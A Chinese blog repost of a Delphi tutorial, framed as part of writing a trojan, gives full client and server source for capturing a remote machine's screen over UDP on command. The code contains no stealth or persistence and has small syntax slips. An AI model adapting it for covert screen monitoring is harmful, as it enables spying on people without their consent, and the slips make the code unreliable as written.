- 浏览: 498295 次
- 性别:
- 来自: xiamen
-
文章分类
最新评论
-
陈乐鹏:
你这个下载要怎么玩?我这里老提示未安装!
[转]使用ScriptX控件进行Web打印总结 -
zqb666kkk:
博主有示例代码吗
cxf ws-security 加密和签名的实现 -
mclin0704:
你好,请问WSDL2Java 可以用java实现吗?
Java2WSDL之java实现 -
hubiao0629:
楼主,这个文件会有不兼容的问题把。
mysql5忘记密码后的处理方法 -
zhaoyubetter:
OK,可以试试!多谢楼主
后台管理界面收集
用UDP协议的木马编写方法(Delphi版)
木马的一个很重要的功能就是远程监视屏幕,下面的文章讲述了怎样利用UDP协议来实现,而不是我们通常用到的tcp/ip协议,很有特色,值得一学。
一、软硬件要求。
Windows95/98对等网,用来监视的计算机(以下简称主控机)和被监视的计算机(以下简称受控机)都必须装有TCP/IP 协议,并正确配置。如没有网络,也可以在一台计算机上进行调试。
二、实现方法。
编制两个应用程序,一个为VClient.exe,装在受控机上,另一个为VServer.exe,装在主控机上。VServer.exe指定要监视的受控机的IP地址和将要在受控机屏幕上抓取区域的大小和位置,并发出屏幕抓取指令给VClient.exe,VClient.exe得到指令后,在受控机屏幕上选取指定区域,生成数据流,将其发回主控机,并在主控机上显示出抓取区域的BMP图象。由以上过程可以看出,该方法的关键有二:一是如何在受控机上进行屏幕抓取,二是如何通过TCP/IP协议在两台计算机中传输数据。
UDP(User Datagram Protocol,意为用户报文协议)是Internet上广泛采用的通信协议之一。与TCP协议不同,它是一种非连接的传输协议,没有确认机制,可靠性不如TCP,但它的效率却比TCP高,用于远程屏幕监视还是比较适合的。同时,UDP控件不区分服务器端和客户端,只区分发送端和接收端,编程上较为简单,故选用UDP协议,使用Delphi 4.0提供的TNMUDP控件。
三、创建演示程序。
第一步,编制VClient.exe文件。新建Delphi工程,将默认窗体的Name属性设为“Client”。加入TNMUDP控件,Name属性设为“CUDP”;LocalPort属性设为“1111”,让控件CUDP监视受控机的1111端口,当有数据发送到该口时,触发控件CUDP的OnDataReceived事件;RemotePort属性设为“2222”,当控件CUDP发送数据时,将数据发到主控机的2222口。
在implementation后面加入变量定义
const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }
var
BmpStream:TMemoryStream;
LeftSize:Longint;{ 发送每一笔数据后剩余的字节数 }
为Client的OnCreate事件添加代码:
procedure TClient.FormCreate(Sender: TObject);
begin
BmpStream:=TMemoryStream.Create;
end;
为Client的OnDestroy事件添加代码:
procedure TClient.FormDestroy(Sender: TObject);
begin
BmpStream.Free;
end;
为控件CUDP的OnDataReceived事件添加代码:
procedure TClient.CUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
CtrlCode:array[0..29] of char;
Buf:array[0..BufSize-1] of char;
TmpStr:string;
SendSize,LeftPos,TopPos,RightPos,BottomPos:integer;
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);{ 读取控制码 }
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='show' then
begin { 控制码前4位为“show”表示主控机发出了抓屏指令 }
if BmpStream.Size=0 then { 没有数据可发,必须截屏生成数据 }
begin
TmpStr:=StrPas(CtrlCode);
TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);
LeftPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr) -Pos(':',TmpStr));
TopPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-Pos(':',TmpStr));
RightPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
BottomPos:=StrToInt(Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-Pos':',TmpStr)));
ScreenCap(LeftPos,TopPos,RightPos,BottomPos); { 截取屏幕 }
end;
if LeftSize>BufSize then SendSize:=BufSize
else SendSize:=LeftSize;
BmpStream.ReadBuffer(Buf,SendSize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then BmpStream.Clear;{ 清空流 }
CUDP.RemoteHost:=FromIP; { FromIP为主控机IP地址 }
CUDP.SendBuffer(Buf,SendSize); { 将数据发到主控机的2222口 }
end;
end;
其中ScreenCap是自定义函数,截取屏幕指定区域,
代码如下:
procedure TClient.ScreenCap(LeftPos,TopPos,
RightPos,BottomPos:integer);
var
RectWidth,RectHeight:integer;
SourceDC,DestDC,Bhandle:integer;
Bitmap:TBitmap;
begin
RectWidth:=RightPos-LeftPos;
RectHeight:=BottomPos-TopPos;
SourceDC:=CreateDC('DISPLAY','','',nil);
DestDC:=CreateCompatibleDC(SourceDC);
Bhandle:=CreateCompatibleBitmap(SourceDC,
RectWidth,RectHeight);
SelectObject(DestDC,Bhandle);
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC,
LeftPos,TopPos,SRCCOPY);
Bitmap:=TBitmap.Create;
Bitmap.Handle:=BHandle;
BitMap.SaveToStream(BmpStream);
BmpStream.Position:=0;
LeftSize:=BmpStream.Size;
Bitmap.Free;
DeleteDC(DestDC);
ReleaseDC(Bhandle,SourceDC);
end;
存为“C:\VClient\ClnUnit.pas”和“C:\VClient\VClient.dpr”,
并编译。
第二步,编制VServer.exe文件。
新建Delphi工程,将窗体的Name属性设为“Server”。加入TNMUDP控件,Name属性设为“SUDP”;LocalPort属性设为“2222”,让控件SUDP监视主控机的2222端口,当有数据发送到该口时,触发控件SUDP的OnDataReceived事件;RemotePort属性设为“1111”,当控件SUDP发送数据时,将数据发到受控机的1111口。加入控件Image1,Align属性设为“alClient”;加入控件Button1,Caption属性设为“截屏”;加入控件Label1,Caption属性设为“左:上:右:下”;加入控件Edit1,Text属性设为“0:0:100:100”;加入控件Label2,Caption属性设为“受控机IP地址”;加入控件Edit2,Text属性设为“127.0.0.1”;
在implementation后面加入变量定义
const BufSize=2048;
var
RsltStream,TmpStream:TMemoryStream;
为Server的OnCreate事件添加代码:
procedure TServer.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;
为Client的OnDestroy事件添加代码:
procedure TServer.FormDestroy(Sender: TObject);
begin
RsltStream.Free;
TmpStream.Free;
end;
为控件Button1的OnClick事件添加代码:
procedure TServer.Button1Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.Text;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
为控件SUDP的OnDataReceived事件添加代码:
procedure TServer.SUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.text;
StrpCopy(ReqCode,ReqCodeStr);
SUDP.ReadStream(TmpStream);
RsltStream.CopyFrom(TmpStream,NumberBytes);
if NumberBytes< BufSize then { 数据已读完 }
begin
RsltStream.Position:=0;
Image1.Picture.Bitmap.LoadFromStream(RsltStream);
TmpStream.Clear;
RsltStream.Clear;
end
else
begin
TmpStream.Clear;
ReqCode:='show';
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
end;
存为“C:\VServer\SvrUnit.pas”和
“C:\VServer\VServer.dpr”,并编译。
---- 四、测试。
1、本地机测试:在本地机同时运行Vserver.exe和VClient.exe,利用程序的默认设置,即可实现截屏。查看“控制面板”-“网络”-“TCP/IP”-“IP地址”,将程序的“客户IP地址”设为该地址 ,同样正常运行。
2、远程测试:选一台受控机,运行VClient.exe;另选一台主控机,运行VServer.exe,将“受控机IP地址”即Edit2的内容设为受控机的IP地址,“截屏”即可。以上简要介绍了远程屏幕抓取的实现方法,至于在主控机上一屏同时监视多个受控机,读者可自行完善。以上程序,在Windows98对等网、Delphi 4.0下调试通过
发表评论
-
MD5 加密与解密 免费网站
2011-09-14 15:38 992http://www.md5encryption. ... -
listener、filter、servlet、beans执行顺序如何
2011-04-15 11:19 3467在典型的J2EE里面 可以肯定的是,加载顺序与他们在web ... -
dos 测试网络连接是否正常(bat)
2010-11-10 23:55 3638由于一个亲戚,电脑水平不高,有时候电脑老上不了网,自己不明白原 ... -
html - 7种加密方法
2010-10-12 10:50 1170本文一共介绍了七种方法: 一:最简单的加密解密 二:转义字 ... -
IIS5.1 for xp2
2010-06-10 16:29 1728一般使用系统都是winXP2 Ghost 版本 这种版本一般 ... -
SP2:XP双用户同时登录的方法
2010-05-17 09:29 2061首先特地声明下: ... -
2003 用户权限控制
2010-01-15 17:43 12461 在控制面板-->用户账户 创建一个账户,用户名我们设 ... -
Windows无法连接到选定网络,网络可能不在区域中。请刷新可用网络的列表,重新尝试
2009-11-03 14:34 30631一直以来Windows XP2 在公司网络中就是设置了密钥无法 ... -
54 个优秀的 UNDER CONSTRUCTION 页设计(下)
2009-04-13 10:35 11571. Luke’s Beard 2. Fav ... -
54 个优秀的 UNDER CONSTRUCTION 页设计
2009-04-13 10:33 1280一个空荡荡的页面,上面有一个卡通小人用铁锹铲土,这是我们印象中 ... -
如何创建自己的Linux发行版
2009-04-13 10:28 1115很多人或许对Linux发行版有了一种一成不变的看法:桌面不是K ... -
最受欢迎的11款跨平台免费软件
2009-04-13 10:27 1109"基于Windows和Linux的优秀应用软件都不少 ... -
15个最受Web开发者欢迎的文本编辑器
2009-04-13 10:24 1294对许多开发者来说,在开发复杂的Web应用程序、编辑CSS文件或 ... -
Tonido实现合作、文件共享等无云化
2009-03-24 10:58 1132DNA24 写道 " 不是每一个人都希望在云计算下 ... -
2008年最漂亮的50套图标
2009-03-24 10:30 3022在互联网上图标无处不在,最现代的设计不仅仅是用来完成一个设计任 ... -
9个基于JavaScript和CSS的Web图表框架
2009-03-24 10:26 1370"jQuery, MooTools, Prototy ... -
40个轻量级JavaScript库(二)
2009-03-09 15:29 1428COMSHARP CMS 写道 " ... -
40个轻量级JavaScript库
2009-03-09 15:25 1053COMSHARP CMS 写道 " ... -
40个轻量级JavaScript库
2009-03-09 15:25 1082COMSHARP CMS 写道 " ... -
2009年将出现的10项技术
2009-03-05 14:16 8933/4月份的《MIT技术评论 ...
相关推荐
计算机硬件控制_驱动级键盘鼠标同步_PS2接口UDP协议多机协同_基于rabirdwinio和pynput的跨设备输入共享系统_实现多台Windows电脑的键盘鼠标同步操作_支持
嵌入式八股文面试题库资料知识宝典-TCPIP协议栈.zip
少儿编程scratch项目源代码文件案例素材-开膛手杰克.zip
基于深度学习CNN网络+pytorch框架实现遥感图像滑坡识别源码+数据集+训练好的模型,个人经导师指导并认可通过的高分设计项目,评审分99分,代码完整确保可以运行,小白也可以亲自搞定,主要针对计算机相关专业的正在做大作业的学生和需要项目实战练习的学习者,可作为毕业设计、课程设计、期末大作业,代码资料完整,下载可用。 基于深度学习CNN网络+pytorch框架实现遥感图像滑坡识别源码+数据集+训练好的模型基于深度学习CNN网络+pytorch框架实现遥感图像滑坡识别源码+数据集+训练好的模型基于深度学习CNN网络+pytorch框架实现遥感图像滑坡识别源码+数据集+训练好的模型基于深度学习CNN网络+pytorch框架实现遥感图像滑坡识别源码+数据集+训练好的模型基于深度学习CNN网络+pytorch框架实现遥感图像滑坡识别源码+数据集+训练好的模型基于深度学习CNN网络+pytorch框架实现遥感图像滑坡识别源码+数据集+训练好的模型基于深度学习CNN网络+pytorch框架实现遥感图像滑坡识别源码+数据集+训练好的模型基于深度学习CNN网络+pytorch框架实现遥感图像滑坡识别源码+数据集+训练好的模型基于深度学习CNN网络+pytorch框架实现遥感图像滑坡识别源码+数据集+训练好的模型基于深度学习CNN网络+pytorch框架实现遥感图像滑坡识别源码+数据集+训练好的模型基于深度学习CNN网络+pytorch框架实现遥感图像滑坡识别源码+数据集+训练好的模型基于深度学习CNN网络+pytorch框架实现遥感图像滑坡识别源码+数据集+训练好的模型基于深度学习CNN网络+pytorch框架实现遥感图像滑坡识别源码+数据集+训练好的模型基于深度学习CNN网络+pytorch框架实现遥感图像滑坡识别源码+数据集+训练好的模型基于深度学习CNN网络+pytorch框架实现
内容概要:本文详细探讨了电力弹簧技术在主动配电网规划及运行优化调度中的应用。首先介绍了电力弹簧技术作为智能电网调控手段的优势,如自适应性强、响应速度快、节能环保等。接着阐述了主动配电网规划的目标和策略,包括优化电网结构、提高能源利用效率和降低故障风险。随后讨论了运行优化调度的原则和方法,强调了实时监测、智能调度策略以及优化调度模型的重要性。最后通过实际案例分析展示了电力弹簧技术在提升电网稳定性、可靠性和能效方面的显著效果,展望了其广阔的应用前景。 适合人群:从事电力系统规划、运行管理的研究人员和技术人员,以及对智能电网感兴趣的学者和学生。 使用场景及目标:适用于希望深入了解电力弹簧技术及其在主动配电网规划和运行优化调度中具体应用的专业人士。目标是掌握电力弹簧技术的工作原理、优势及其在实际项目中的实施方法。 其他说明:本文不仅提供了理论分析,还有具体的案例支持,有助于读者全面理解电力弹簧技术的实际应用价值。
嵌入式八股文面试题库资料知识宝典-C语言思维导图.zip
电路教学与科研案例的结合—以最大功率传输定理为例.pdf
内容概要:本文深入介绍了HarmonyOS文件系统及其在万物互联时代的重要性。HarmonyOS自2019年发布以来,逐步覆盖多种智能设备,构建了庞大的鸿蒙生态。文件系统作为其中的“数字管家”,不仅管理存储资源,还实现多设备间的数据协同。文章详细介绍了常见的文件系统类型,如FAT、NTFS、UFS、EXT3和ReiserFS,各自特点和适用场景。特别强调了HarmonyOS的分布式文件系统(hmdfs),它通过分布式软总线技术,打破了设备界限,实现了跨设备文件的无缝访问。此外,文章对比了HarmonyOS与Android、iOS文件系统的差异,突出了其在架构、跨设备能力和安全性方面的优势。最后,从开发者视角讲解了开发工具、关键API及注意事项,并展望了未来的技术发展趋势和对鸿蒙生态的影响。 适合人群:对操作系统底层技术感兴趣的开发者和技术爱好者,尤其是关注物联网和多设备协同的用户。 使用场景及目标:①理解HarmonyOS文件系统的工作原理及其在多设备协同中的作用;②掌握不同文件系统的特性和应用场景;③学习如何利用HarmonyOS文件系统进行应用开发,提升跨设备协同和数据安全。 阅读建议:本文内容详实,涵盖了从基础概念到高级开发技巧的多个层次,建议读者结合自身需求,重点关注感兴趣的部分,并通过实践加深理解。特别是开发者可参考提供的API示例和开发技巧,尝试构建基于HarmonyOS的应用。
嵌入式八股文面试题库资料知识宝典-海康嵌入式笔试题.zip
内容概要:本文详细介绍了基于瞬时无功功率理论的三电平有源电力滤波器(APF)仿真研究。主要内容涵盖并联型APF的工作原理、三相三电平NPC结构、谐波检测方法(ipiq)、双闭环控制策略(电压外环+电流内环PI控制)以及SVPWM矢量调制技术。仿真结果显示,在APF投入前后,电网电流THD从21.9%降至3.77%,显著提高了电能质量。 适用人群:从事电力系统研究、电力电子技术开发的专业人士,尤其是对有源电力滤波器及其仿真感兴趣的工程师和技术人员。 使用场景及目标:适用于需要解决电力系统中谐波污染和无功补偿问题的研究项目。目标是通过仿真验证APF的有效性和可行性,优化电力系统的电能质量。 其他说明:文中提到的仿真模型涉及多个关键模块,如三相交流电压模块、非线性负载、信号采集模块、LC滤波器模块等,这些模块的设计和协同工作对于实现良好的谐波抑制和无功补偿至关重要。
基于环比增长的销售统计分析——2019年中青杯全国数学建模竞赛C题.pdf
嵌入式八股文面试题库资料知识宝典-linux面试题.zip
嵌入式八股文面试题库资料知识宝典-linux常见面试题.zip
内容概要:本文探讨了小电流接地系统在配电网络中的应用,特别是在单相故障情况下的仿真分析。文中介绍了小电流接地系统的背景和发展现状,重点讨论了两种常见的接地方式——中性点不接地和中性点经消弧线圈接地。利用Matlab作为仿真工具,作者构建了详细的电路模型,模拟了单相故障的发生过程,并通过多个结果图表展示了故障电流、电压波形及系统运行状态。此外,文章还包括了详细的设计说明书和PPT介绍,帮助读者全面理解仿真过程和技术细节。 适合人群:从事电力系统研究、维护的技术人员,尤其是关注配电网络安全和稳定的工程师。 使用场景及目标:适用于希望深入了解小电流接地系统的工作原理和故障处理机制的专业人士。通过本研究,读者可以掌握如何使用Matlab进行电力系统仿真,评估不同接地方式的效果,优化配电网络的安全性能。 其他说明:随文附带完整的仿真工程文件、结果图、设计说明书及PPT介绍,便于读者进一步探索和实践。
少儿编程scratch项目源代码文件案例素材-激烈的殴斗.zip
嵌入式八股文面试题库资料知识宝典-小米嵌入式软件工程师笔试题目解析.zip
内容概要:本文详细探讨了车辆主动避撞技术中的两种常见策略——纵向紧急制动避撞和横向紧急转向避撞。首先介绍了这两种避撞策略的基本概念,接着深入分析了临界纵向安全距离的概念及其对避撞模式选择的影响。文中特别强调了五次多项式换道轨迹模型在计算横向紧急转向避撞安全距离中的应用。最后,通过一个简化的程序实现了避撞策略的模拟和可视化展示,帮助读者更好地理解不同避撞方式的应用场景和技术细节。 适合人群:汽车工程技术人员、交通安全研究人员、自动驾驶开发者。 使用场景及目标:适用于研究和开发车辆主动避撞系统的专业人士,旨在提高对避撞策略的理解,优化避撞算法的设计,提升行车安全性。 其他说明:文章不仅提供了理论分析,还结合了具体的数学模型和程序实现,使读者能够从多个角度全面掌握车辆避撞技术的关键要素。
基于MPPSK调制的数字对讲机系统.pdf
嵌入式八股文面试题库资料知识宝典-Nec试题回忆二.zip
少儿编程scratch项目源代码文件案例素材-空间切换.zip